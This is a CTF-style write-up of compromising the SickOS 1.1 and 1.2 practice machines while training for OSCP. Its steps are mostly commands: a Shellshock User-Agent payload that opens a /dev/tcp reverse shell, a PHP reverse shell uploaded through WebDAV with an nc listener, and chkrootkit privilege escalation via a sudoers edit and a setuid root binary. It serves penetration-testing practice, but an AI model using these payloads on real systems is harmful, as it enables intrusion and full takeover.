SickOS Write-Up

What follows is a write-up of two vulnerable machines, SickOS 1.1 and SickOS 1.2.

SickOS was inspired by the OSCP labs.

The goal is simple: compromise the system and get root.

[*] STATUS: COMPLETED

SickOS 1.1 Write-Up

1) nmap -sS -sV -Pn -T4 192.168.189.0/24
”’
Note the following ports and services are up and running:
ssh OpenSSH 5.9p1 Debian 5ubuntu1.1 (Ubuntu Linux; protocol 2.0)
3128/tcp open http-proxy Squid http proxy 3.1.19
8080/tcp closed http-proxy

Time to do some research.
”’

2) Start Metasploit -> search squid
3) use auxiliary/scanner/http/squid_pivot_scanning -> show options
4) set RANGE 192.168.189.208 -> set RHOSTS 192.168.189.208 -> set RPORT 3128
5) exploit
# We can navigate to port 80 under a proxy using port 3128

6) nikto -h 192.168.189.208 -useproxy 192.168.189.208:3128
”’
Checking for vulnerabilities; the shellshock vulnerability might be our way in

+ OSVDB-112004: /cgi-bin/status: Site appears vulnerable to the ‘shellshock’ vulnerability (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271)
”’

7) Open Burp Proxy with Intercept On
8) In Burp: User options -> Upstream Proxy Servers
Destination host: 192.168.189.208
Proxy host: 192.168.189.208
Proxy port: 3128

9) Browse to: 192.168.189.208/cgi-bin/status
10) Modify User-Agent with: () { :;}; /bin/bash -i >& /dev/tcp/192.168.189.130/443 0>&1
# Wait a bit, it takes a while

11) cd /var/www
12) file wolfcms -> cd wolfcms -> ls -> cat config.php
”’
Notice the MySQL credentials:
define(‘DB_DSN’, ‘mysql:dbname=wolf;host=localhost;port=3306’);
define(‘DB_USER’, ‘root’);
define(‘DB_PASS’, ‘john@123’);
define(‘TABLE_PREFIX’, ”);
”’

13) su sickos
# We get an error: su: must be run from a terminal

14) echo “import pty; pty.spawn(‘/bin/bash’)” > /tmp/asdf.py
15) python /tmp/asdf.py
16) su sickos -> password: john@123
17) sudo -s -> password: john@123
18) cd /root
19) ls
20) cat a0216ea4d51874464078c618298b1367.txt

Flag: a0216ea4d51874464078c618298b1367
End-Notes:

Initially I had logged into the wolf cms service with admin:admin, however, it was taking too long to load pages, so I decided to go another way. That might be another method to compromise the system.

 

SickOS 1.2 Write-Up

1) nmap -sS -sV -Pn -T4 192.168.189.0/24
”’
Note the following ports and services are up and running:
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.8 (Ubuntu Linux; protocol 2.0)
80/tcp open http lighttpd 1.4.28

Time to get to work.
”’

2) nikto -h 192.168.189.218
3) wfuzz –hc 404 -c -z file,/usr/share/wfuzz/wordlist/general/big.txt http://192.168.189.218/FUZZ
# “test” and “~” return results

4) Browse to: http://192.168.189.218/test/
5) Start Burp Proxy with Intercept On
6) Refresh the page -> Change the GET request to OPTIONS -> Right-click -> Do Intercept -> Response to this request
# Allow: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK

7) Search for: php reverse shell code
8) wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
9) gedit php-reverse-shell.php
# Adjust IP and port accordingly

10) nc -nlvp 443
11) curl –upload-file php-reverse-shell.php -v -url http://192.168.189.218/test/php-reverse-shell.php -0 –http1.0

12) Refresh the page and click on the file we just uploaded
13) ps aux | grep root
# Checking which services are running as root
14) ls -al /etc/cron*
# Checking which jobs are scheduled

15) Search for: chkrootkit vulnerability
16) Read: https://www.exploit-db.com/exploits/33899/
”’
Steps to reproduce:

– Put an executable file named ‘update’ with non-root owner in /tmp (not
mounted noexec, obviously)
– Run chkrootkit (as uid 0)

Result: The file /tmp/update will be executed as root, thus effectively
rooting your box, if malicious content is placed inside the file.
”’

17) python -c ‘import pty ; pty.spawn(“/bin/bash”)’
# Getting a proper shell

Method A: To get root (slow)
18) echo ‘chmod 777 /etc/sudoers && echo “www-data ALL=NOPASSWD: ALL” >> /etc/sudoers && chmod 440 /etc/sudoers’ > /tmp/update
# Giving ourselves sudo power
# In theory this should work, but it was taking too long, so I went with Method B
Method B: To get root (fast)
18) cd /tmp/
19) cat << EOF >> root.c
int main(void)
{
setgid(0);
setuid(0);
execl(“/bin/sh”, “sh”, 0);
}
EOF

20) gcc -o root root.c
# Now we have to make ‘update’ interact with this executable

21) cat << EOF > update
#!/bin/bash
chown root /tmp/root
chgrp root /tmp/root
chmod u+s /tmp/root
EOF

22) chmod +x update
23) ls -al
# We’re ready to go
24) ./root
25) whoami
# We got root
26) cd /root
27) ls
28) cat 7d03aaa2bf93d80040f3f22ec6ad9d5a.txt

Flag: 7d03aaa2bf93d80040f3f22ec6ad9d5a
End-Notes:
Very cool box. Note that for the chkrootkit exploit you could have also used Metasploit.

This was the last box I had as training for the OSCP labs. I first completed Kioptrix (1-5), then Tr0ll (1-2), and finally the two sickOS boxes. I’m signing up for the OSCP labs this week and aim to be OSCP certified within 90 days or less.